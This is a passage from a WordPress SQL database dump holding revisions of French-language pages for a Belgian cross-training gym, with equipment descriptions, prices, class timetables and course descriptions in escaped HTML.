src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-07-10 16:10:46', '2013-07-10 16:10:46', '', 22, 'http://www.crosstrainingcenter.be/22-revision-30/', 0, 'revision', '', 0);
INSERT INTO `www2_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(154, 1, '2013-06-23 14:07:38', '2013-06-23 14:07:38', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n[table caption=\&quot;Just test table\&quot; width=\&quot;500\&quot; colwidth=\&quot;20|100|50\&quot; colalign=\&quot;left|left|center|left|right\&quot;]\r\nno,head1,head2,head3,head4\r\n1,row1col1,row1col2,row1col3,100\r\n2,row2col1,row2col2,row2col3,20000\r\n3,row3col1,,row3col3,1405\r\n4,row4col1,row4col2,row4col3,23023\r\n[/table]	\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style:dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-23 14:07:38', '2013-06-23 14:07:38', '', 11, 'http://www.crosstrainingcenter.be/?p=154', 0, 'revision', '', 0),
(155, 1, '2013-07-03 15:41:06', '2013-07-03 15:41:06', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;\&quot; width=\&quot;500\&quot; colwidth=\&quot;20|100|50\&quot; colalign=\&quot;left|left|center|left|right\&quot;]\r\nno,head1,head2,head3,head4\r\n1,row1col1,row1col2,row1col3,100\r\n2,row2col1,row2col2,row2col3,20000\r\n3,row3col1,,row3col3,1405\r\n4,row4col1,row4col2,row4col3,23023\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 15:41:06', '2013-07-03 15:41:06', '', 11, 'http://www.crosstrainingcenter.be/?p=155', 0, 'revision', '', 0),
(156, 1, '2013-07-03 15:52:51', '2013-07-03 15:52:51', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;left|right|right|right|right|right\&quot;]\r\n,Lundi,Mardi,Mercredi,Jeudi,Vendredi\r\n17h30,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n18h15,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n19h00,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n19h45,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td 